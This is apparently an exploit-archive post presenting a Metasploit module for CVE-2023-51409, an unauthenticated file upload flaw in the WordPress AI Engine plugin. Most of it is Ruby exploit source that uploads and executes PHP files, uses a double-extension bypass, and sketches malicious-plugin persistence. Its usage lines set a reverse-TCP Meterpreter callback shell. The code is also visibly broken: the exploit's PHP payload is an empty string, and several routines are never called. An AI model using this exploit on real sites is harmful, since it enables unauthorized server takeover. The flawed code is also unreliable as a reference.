============================================================================================================================================= | # Title : WordPress AI Engine Plugin 3.0.0 Unauthenticated File Upload RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/ | ============================================================================================================================================= [+] References : [+] Summary : This Metasploit module exploits an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0). The plugin’s REST API endpoint /wp-json/mwai-ui/v1/files/upload fails to properly validate authentication, allowing attackers to upload arbitrary files including PHP shells, leading to remote code execution under the web server user. [+] Module Features: Detects WordPress installations and AI Engine plugin versions. Performs safe file upload tests to confirm vulnerability. Supports uploading PHP payloads and executing them remotely. Handles stealthy exploitation using double extensions (e.g., .php.jpg). Optional WordPress credential-based privilege escalation for persistence. Tracks and optionally cleans up uploaded test files. Generates verbose output and handles HTTP response parsing with JSON support. [+] Impact: Unauthenticated RCE via file upload. Bypasses WordPress authentication and MIME/type validation. Enables arbitrary code execution, file system access, and potential server compromise. [+] Remediation: Update the AI Engine plugin to version 3.0.0 or higher. Ensure REST endpoints are properly authenticated. Validate and whitelist allowed file types for upload. Store uploaded files outside of the web root if possible. This module is intended for authorized testing and research and includes safety mechanisms for controlled exploitation. [+] Usage : # Metasploit Module: WordPress AI Engine Plugin RCE ## Overview This Metasploit module exploits CVE-2023-51409, an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0). ## Vulnerability Details - **CVE**: CVE-2023-51409 - **Plugin**: AI Engine for WordPress - **Affected Versions**: < 3.0.0 - **Vulnerable Endpoint**: `/wp-json/mwai-ui/v1/files/upload` - **Risk**: Critical (Unauthenticated RCE) ## Module Features ### 1. **Automated Detection** - WordPress installation verification - AI Engine plugin detection - Version checking - Vulnerability validation ### 2. **Exploitation Methods** - Direct PHP file upload - Stealthy double-extension bypass - Multiple payload delivery options ### 3. **Post-Exploitation** - Automatic file cleanup - Session handling - Optional privilege escalation ## Usage Examples ### Basic Exploitation msf6 > use exploit/multi/http/wp_ai_engine_file_upload msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100 msf6 exploit(wp_ai_engine_file_upload) > set TARGETURI /wordpress msf6 exploit(wp_ai_engine_file_upload) > set PAYLOAD php/meterpreter/reverse_tcp msf6 exploit(wp_ai_engine_file_upload) > set LHOST 192.168.1.10 msf6 exploit(wp_ai_engine_file_upload) > exploit ### Vulnerability Check Only msf6 > use exploit/multi/http/wp_ai_engine_file_upload msf6 exploit(wp_ai_engine_file_upload) > set RHOSTS 192.168.1.100 msf6 exploit(wp_ai_engine_file_upload) > check [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress AI Engine Plugin Unauthenticated File Upload RCE', 'Description' => %q{ This module exploits an unauthenticated file upload vulnerability in the WordPress AI Engine plugin (versions < 3.0.0). The plugin's REST API endpoint /wp-json/mwai-ui/v1/files/upload does not properly validate authentication, allowing attackers to upload arbitrary files including PHP shells. This leads to remote code execution as the web server user. CVE-2023-51409 affects AI Engine plugin versions before 3.0.0. }, 'Author' => [ 'indoushka' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-51409'], ['URL', 'https://wpscan.com/vulnerability/...'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51409'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['AI Engine Plugin < 3.0.0', {}]], 'Privileged' => false, 'DisclosureDate' => '2023-12-01', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']), OptString.new('WP_USER', [false, 'Valid WordPress username (for privilege escalation)', '']), OptString.new('WP_PASSWORD', [false, 'Valid WordPress password', '']), OptBool.new('VERBOSE', [false, 'Enable verbose output', false]) ]) register_advanced_options([ OptInt.new('SLEEP', [true, 'Sleep time between requests (seconds)', 1]) ]) end def check vprint_status("Checking if target is WordPress...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) unless res return CheckCode::Unknown('Connection failed') end unless res.body.include?('wp-content') || res.body.include?('wp-includes') || res.body.include?('WordPress') return CheckCode::Safe('Target does not appear to be WordPress') end vprint_good('WordPress installation detected') plugin_paths = [ '/wp-content/plugins/ai-engine/', '/wp-content/plugins/ai-engine-mwai/', '/wp-content/plugins/mwai/' ] plugin_found = false plugin_version = nil plugin_paths.each do |path| res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, path, 'readme.txt') }) next unless res && res.code == 200 if res.body =~ /Stable tag:\s*([0-9.]+)/ plugin_version = $1 vprint_good("Found AI Engine plugin version #{plugin_version}") plugin_found = true break end end unless plugin_found res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'), 'headers' => { 'Content-Type' => 'application/json' }, 'data' => '{"test":"check"}' }) if res && (res.code == 200 || res.code == 405) vprint_status('AI Engine REST API endpoint detected (version unknown)') return CheckCode::Detected('AI Engine plugin detected but version unknown') end return CheckCode::Safe('AI Engine plugin not found') end if plugin_version && Rex::Version.new(plugin_version) < Rex::Version.new('3.0.0') vprint_good("Vulnerable version detected: #{plugin_version}") test_result = test_vulnerability if test_result[:vulnerable] return CheckCode::Appears("Vulnerable version #{plugin_version} - File upload confirmed") else return CheckCode::Detected("Version #{plugin_version} should be vulnerable but upload test failed") end else return CheckCode::Safe("Plugin version #{plugin_version} is not vulnerable") end end def test_vulnerability boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" filename = "test_#{Rex::Text.rand_text_alphanumeric(8)}.txt" content = "Metasploit security test - #{Time.now.to_i}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n" data << "Content-Type: text/plain\r\n\r\n" data << content data << "\r\n--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'), 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Content-Length' => data.length.to_s }, 'data' => data }) unless res return { vulnerable: false, reason: 'No response' } end if res.code == 200 begin json = JSON.parse(res.body) if json['success'] && json['data'] && json['data']['url'] uploaded_url = json['data']['url'] vprint_good("Test file uploaded successfully: #{uploaded_url}") verify_res = send_request_cgi({ 'method' => 'GET', 'uri' => URI.parse(uploaded_url).path }) if verify_res && verify_res.code == 200 vprint_good("Uploaded file is publicly accessible") delete_test_file(uploaded_url) return { vulnerable: true, uploaded_url: uploaded_url } end end rescue JSON::ParserError vprint_error("Invalid JSON response") end end { vulnerable: false, reason: "HTTP #{res.code}", response: res.body[0,200] } end def delete_test_file(url) begin path = URI.parse(url).path send_request_cgi({ 'method' => 'GET', 'uri' => path + '?delete=1' }) rescue end end def exploit print_status("Starting exploitation of CVE-2023-51409...") payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php" php_payload = "" boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n" data << "Content-Type: application/x-php\r\n\r\n" data << php_payload data << "\r\n--#{boundary}--\r\n" print_status("Uploading PHP payload: #{payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'), 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Content-Length' => data.length.to_s }, 'data' => data }) unless res fail_with(Failure::Unreachable, 'Target did not respond') end if res.code == 200 begin json = JSON.parse(res.body) if json['success'] && json['data'] && json['data']['url'] shell_url = json['data']['url'] print_good("Payload uploaded successfully: #{shell_url}") register_file_for_cleanup(URI.parse(shell_url).path.gsub(target_uri.path, '')) print_status("Executing payload at #{shell_url}") res = send_request_cgi({ 'method' => 'GET', 'uri' => URI.parse(shell_url).path }) if res && res.code == 200 print_good("Payload executed successfully") if datastore['PAYLOAD'].include?('php') handler end else print_error("Failed to execute payload (HTTP #{res ? res.code : 'No response'})") end else print_error("Upload failed: #{json['message'] if json['message']}") vprint_error("Full response: #{res.body}") end rescue JSON::ParserError print_error("Invalid JSON response from server") vprint_error("Response: #{res.body}") end else print_error("Upload failed with HTTP #{res.code}") vprint_error("Response: #{res.body}") end end def on_new_session(client) super if client.type == 'meterpreter' print_status("Attempting to clean up uploaded file...") begin result = client.sys.config.getenv('DOCUMENT_ROOT') if result web_root = result shell_path = @shell_path || "/wp-content/uploads/#{Time.now.year}/#{Time.now.month.to_s.rjust(2, '0')}/" client.fs.file.rm(web_root + shell_path) rescue nil end rescue print_warning("Could not automatically clean up uploaded file") end end end def exploit_stealth print_status("Attempting stealthy exploitation...") payload_name = "#{Rex::Text.rand_text_alphanumeric(8)}.php.jpg" php_payload = "GIF89a;\n" boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{payload_name}\"\r\n" data << "Content-Type: image/jpeg\r\n\r\n" data << php_payload data << "\r\n--#{boundary}--\r\n" print_status("Uploading disguised payload: #{payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json/mwai-ui/v1/files/upload'), 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Content-Length' => data.length.to_s }, 'data' => data }) handle_upload_response(res, payload_name) end def handle_upload_response(res, filename) unless res return false end if res.code == 200 begin json = JSON.parse(res.body) if json['success'] && json['data'] && json['data']['url'] uploaded_url = json['data']['url'] print_good("File uploaded: #{uploaded_url}") if filename.end_with?('.php.jpg') php_url = uploaded_url.gsub('.jpg', '') print_status("Trying to access as PHP: #{php_url}") res = send_request_cgi({ 'method' => 'GET', 'uri' => URI.parse(php_url).path }) if res && res.code == 200 print_good("PHP execution successful via double extension") handler return true end end res = send_request_cgi({ 'method' => 'GET', 'uri' => URI.parse(uploaded_url).path }) if res && res.code == 200 print_good("Payload executed") handler return true end end rescue JSON::ParserError print_error("Invalid JSON response") end end false end def attempt_privilege_escalation return unless datastore['WP_USER'] && datastore['WP_PASSWORD'] print_status("Attempting WordPress privilege escalation...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-login.php'), 'vars_post' => { 'log' => datastore['WP_USER'], 'pwd' => datastore['WP_PASSWORD'], 'wp-submit' => 'Log In', 'redirect_to' => normalize_uri(target_uri.path, 'wp-admin'), 'testcookie' => '1' } }) if res && res.code == 302 && res.headers['Location'].include?('wp-admin') print_good("Successfully logged in as #{datastore['WP_USER']}") cookies = res.get_cookies print_status("Attempting to upload a malicious plugin for persistence...") else print_error("WordPress login failed") end end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================